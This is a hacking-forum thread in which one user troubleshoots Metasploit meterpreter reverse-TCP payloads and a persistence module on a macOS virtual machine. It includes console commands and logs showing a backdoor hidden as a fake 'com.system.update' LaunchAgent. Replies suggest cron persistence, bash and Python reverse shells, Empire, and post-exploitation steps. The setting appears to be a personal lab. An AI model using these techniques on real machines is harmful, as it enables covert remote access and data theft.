[L0LAA]

Hello everyone,

Im having this problem that have been giving me headaches for few nights now without finding any way around it on the internet.
Here we go,

So im using mac os sierra x64 on virtualbox and I used a reverse tcp payload on it (osx/x64/meterpreter_reverse-tcp)...which worked fine after i manually activate it using
chmod +x
, and then i had active connection with the target machine.

Then i tried to download a persistence on the targeted mac (osx/local/persistence)
which also went well and give me this message

[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Dropping backdoor executable...
[+] Backdoor stored to /Users/admin/Library/.kxSxaYBF/com.system.update
[+] LaunchAgent added: /Users/admin/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*]To remove the persistence, run:
$ launchctl unload -w /Users/admin/Library/LaunchAgents/com.system.update.plist
$ rm /Users/admin/Library/.kxSxaYBF/com.system.update
$ rm /Users/admin/Library/LaunchAgents/com.system.update.plist

and also this was the options for the persistence

Basic options:
 Name           Current Setting                        Required  Description
 ----           ---------------                        --------  -----------
 BACKDOOR_PATH  ~/Library/.<random>/com.system.update  yes       Path to hide the backdoor on the target.
 KEEPALIVE      true                                   yes       Continually restart the payload exe if it crashes/exits.
 RUN_NOW        true                                  no        Run the installed payload immediately.
 SESSION         1                                      yes       The session to run this module on.


then i restarted the targeted mac machine to test if the persistence is working or not, I used multi/handler to listen for the connection from the persistence, and then here comes the problem, it keep connecting and restarting with Reason:Died

[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]Meterpreter session 1 opened (xxx.xxx.x.xx:12345 -> xxx.xxx.x.xx:49402) at 2018-04-29 08:54:10 +0000
[*]xxx.xxx.x.xx - Meterpreter session 1 closed.  Reason: Died
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 2 closed.  Reason: Died
[*]Meterpreter session 2 opened (127.0.0.1 -> xxx.xxx.x.xx:49408) at 2018-04-29 08:54:20 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 3 closed.  Reason: Died
[*]Meterpreter session 3 opened (127.0.0.1 -> xxx.xxx.x.xx:49410) at 2018-04-29 08:54:30 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 4 closed.  Reason: Died
[*]Meterpreter session 4 opened (127.0.0.1 -> xxx.xxx.x.xx:49412) at 2018-04-29 08:54:40 +0000

and then it goes like this forever until i have to kill it.

also there is no firewall on either my machine or the virtualbox mac.

any suggestions ??

[CyberStrike]

hmm ... why is it dying? Is the OS actually 64 bit? When you did the persistence were you regular user or use sudo on the OSX machine? Another option for persistence is using cron...

[L0LAA]

hmm ... why is it dying? Is the OS actually 64 bit? When you did the persistence were you regular user or use sudo on the OSX machine? Another option for persistence is using cron...

thank you for the suggestion.....I actually made it both ways with and without root, to see what happens...and both of them doesnt work but they give different msgs at different phases....but also the root that i have done was from the virtualbox mac itself as a user not from msf as an attacker, as i also tried the different ways for privilege escalation and it didnt work on this version of the mac osx 10.12 sierra (or im doing it wrongly).....which is another concern, even thou i changed the mac osx sierra version i had and got a brand new .vmdk from another source.


here is the two process i tried for persistence:

persistence with no root

[*]Started reverse TCP handler on xxx.xxx.x.x.xx:11222
[*]Sending stage (179779 bytes) to xxx.xxx.x.x.xx

meterpreter > shell
Process 400 created.
Channel 1 created.
whoami
7amo
exit
meterpreter > sysinfo
Computer     : 7amos-MacBook-Air.local
OS           :  (MacOSX 16.0.0)
Architecture : x64
BuildTuple   :
Meterpreter  : x64/osx
meterpreter > background
[*]Backgrounding session 1...
msf exploit(multi/handler) > use osx/local/persistence
msf exploit(osx/local/persistence) > set RUN_NOW true
RUN_NOW => true
msf exploit(osx/local/persistence) > set SESSION 1
SESSION => 1
msf exploit(osx/local/persistence) > set LHOST xxx.xxx.x.x.xx
LHOST => xxx.xxx.x.x.xx
msf exploit(osx/local/persistence) > run

[*]Started reverse TCP handler on xxx.xxx.x.x.xx:4444
[*]Dropping backdoor executable...
[+] Backdoor stored to /Users/7amo/Library/.CZeJYOQa/com.system.update
[+] LaunchAgent added: /Users/7amo/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*]To remove the persistence, run:
$ launchctl unload -w /Users/7amo/Library/LaunchAgents/com.system.update.plist
$ rm /Users/7amo/Library/.CZeJYOQa/com.system.update
$ rm /Users/7amo/Library/LaunchAgents/com.system.update.plist
[*]Exploit completed, but no session was created.
msf exploit(osx/local/persistence) > sessions 1
[*]Starting interaction with 1...

meterpreter > help

meterpreter > shell
Process 439 created.
Channel 9 created.
whoami
7amo
exit
meterpreter > background
[*]Backgrounding session 1...
msf exploit(osx/local/persistence) > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST xxx.xxx.x.x.xx
LHOST => xxx.xxx.x.x.xx
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

[*]Started reverse TCP handler on xxx.xxx.x.x.xx:4444
[*]Sending stage (179779 bytes) to xxx.xxx.x.x.xx
#<Thread:0x00007efc12e77038@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
3: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
2: from /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
1: from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:347:in `block in monitor_socket'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:357:in `rescue in block in monitor_socket': undefined method `join' for nil:NilClass (NoMethodError)
[*]Meterpreter session 2 opened (xxx.xxx.x.x.xx:4444 -> xxx.xxx.x.x.xx:58658) at 2018-04-30 17:22:46 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.x.xx
#<Thread:0x00007efc11116e80@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
3: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
2: from /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
1: from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:347:in `block in monitor_socket'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:357:in `rescue in block in monitor_socket': undefined method `join' for nil:NilClass (NoMethodError)
[*]Meterpreter session 3 opened (xxx.xxx.x.x.xx:4444 -> xxx.xxx.x.x.xx:58660) at 2018-04-30 17:22:55 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
#<Thread:0x00007efc136d81c8@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
3: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
2: from /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
1: from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:347:in `block in monitor_socket'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:357:in `rescue in block in monitor_socket': undefined method `join' for nil:NilClass (NoMethodError)
[*]Meterpreter session 4 opened (xxx.xxx.x.x.xx:4444 -> xxx.xxx.x.x.xx:58664) at 2018-04-30 17:23:05 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.x.xx
#<Thread:0x00007efc12d6d638@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
3: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
2: from /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
1: from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:347:in `block in monitor_socket'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:357:in `rescue in block in monitor_socket': undefined method `join' for nil:NilClass (NoMethodError)
[*]Meterpreter session 5 opened (xxx.xxx.x.x.xx:4444 -> xxx.xxx.x.x.xx:58666) at 2018-04-30 17:23:15 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.x.xx
#<Thread:0x00007efc10b658b0@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
3: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
2: from /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
1: from /usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:347:in `block in monitor_socket'
/usr/share/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb:357:in `rescue in block in monitor_socket': undefined method `join' for nil:NilClass (NoMethodError)


with the root it gives this msg

msf exploit(osx/local/persistence) > set RUN_NOW true
RUN_NOW => true
msf exploit(osx/local/persistence) > set LHOST xxx.xxx.x.xx
LHOST => xxx.xxx.x.xx
msf exploit(osx/local/persistence) > run

[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Command shell session 2 opened (xxx.xxx.x.xx:4444 -> xxx.xxx.x.xx:59162) at 2018-04-30 18:01:41 +0000
[*]Dropping backdoor executable...
[+] Backdoor stored to /Users/root/Library/.PAkMvQHY/com.system.update
[+] LaunchAgent added: /Users/root/Library/LaunchAgents/com.system.update.plist
[*]Command shell session 3 opened (xxx.xxx.x.xx:4444 -> xxx.xxx.x.xx:59172) at 2018-04-30 18:02:33 +0000
[+] LaunchAgent installed successfully.
[*]To remove the persistence, run:
$ launchctl unload -w /Users/root/Library/LaunchAgents/com.system.update.plist
$ rm /Users/root/Library/.PAkMvQHY/com.system.update
$ rm /Users/root/Library/LaunchAgents/com.system.update.plist

and stays like this forever ( i left it for more than half an hour).....im still trying different things to know what went wrong...also i wanted to share the whole sequence in case if there is something im going wrong...also i dont know about the cron way you were mentioning

[CyberStrike]

You know what try cron for persistence see if that works better. Also I would probably put gdb on that PID and see what it is crashing on. Try 32 bit payload also see if that works.

I did a quick google on that error found this :

https://github.com/rapid7/metasploit-fra...ssues/9800

[L0LAA]

You know what try cron for persistence see if that works better. Also I would probably put gdb on that PID and see what it is crashing on. Try 32 bit payload also see if that works.

I did a quick google on that error found this :

I tried cron canot also, and when i googled gdb i discovered that apperantly its off for few years now....i downloaded a new mac version (High Sierra) and updated/upgraded my kali, but nothing....i just want to know if it worked for anyone in the past two month, or is it off and patched like most of the payloads ?

[CyberStrike]

I tried cron canot also, and when i googled gdb i discovered that apperantly its off for few years now....i downloaded a new mac version (High Sierra) and updated/upgraded my kali, but nothing....i just want to know if it worked for anyone in the past two month, or is it off and patched like most of the payloads ?

So 32 bit payload didn't work? what about a simple python script with a reverse shell or a bash script with a reverse shell? Just a double check what is the extension of the metasploit generated payloads and what payloads have you used.

About GDB:

gdb --version
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git

It's available for OSX as well. Now all that said I believe as of OSX 10.8.5 or so there was some interesting issues with installing unsigned applications. So have you disabled that?

https://www.macworld.com/article/3140183...loper.html
https://help.my-private-network.co.uk/su...plications
Edit: MOaR Resources // Also check out OSX GateKeeper/Xprotect/OSX Sandbox (The following should get you started)
https://www.rsaconference.com/writable/p..._final.pdf

[L0LAA]

So 32 bit payload didn't work? what about a simple python script with a reverse shell or a bash script with a reverse shell? Just a double check what is the extension of the metasploit generated payloads and what payloads have you used.

About GDB:

gdb --version
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git

It's available for OSX as well.  Now all that said I believe as of OSX 10.8.5 or so there was some interesting issues with installing unsigned applications. So have you disabled that?

woow i didnt know much about xprotector or gatekeeper...thank you for thiss also...but after your suggestions, i tried a bash script and it worked fine...and then i tryed empire and it worked and also the persistence worked which is in python...so i think the problem is in msf, as also later when i was trying the handler, it gave me the same msg of checking the thread_factory.rb file....so i finally arrived at debugging it, which i dodnt know much about, but i will give your mention (gdb) a try.

thank you dude  ✌

[CyberStrike]

woow i didnt know much about xprotector or gatekeeper...thank you for thiss also...but after your suggestions, i tried a bash script and it worked fine...and then i tryed empire and it worked and also the persistence worked which is in python...so i think the problem is in msf, as also later when i was trying the handler, it gave me the same msg of checking the thread_factory.rb file....so i finally arrived at debugging it, which i dodnt know much about, but i will give your mention (gdb) a try.

thank you dude  ✌

Awesome glad it worked, I got a tutorial on OSX information gathering, and covers a bit of post exploitation like searching for important info in files and enabling VNC/RDP through shell.

https://hackforums.net/showthread.php?tid=5751343

(Some of the commands might be different so double check the commands also I will finish a post exploitation OSX tutorial at some point)

[L0LAA]

Awesome glad it worked, I got a tutorial on OSX information gathering, and covers a bit of post exploitation like searching for important info in files and enabling VNC/RDP through shell.



(Some of the commands might be different so double check the commands also I will finish a post exploitation OSX tutorial at some point)

woow thats a really cool thread i will keep it....i would really like to check the post ex osx tutorial, most of the material online is outdated and not even covering enough around osx. 🎉

also i forget to mention that when the persistence worked eventually, it worked in the launche deamon (empire) not launche agents (msploit)

[CyberStrike]

woow thats a really cool thread i will keep it....i would really like to check the post ex osx tutorial, most of the material online is outdated and not even covering enough around osx. 🎉

also i forget to mention that when the persistence worked eventually, it worked in the launche deamon (empire) not launche agents (msploit)

I think that the x64 payload had some issues, I tend to use x86 for the majoriity of OSX payloads. Mind you I have dealt with OSX one time professionally but pretty much everyone in the company had OSX ~ 75 machines.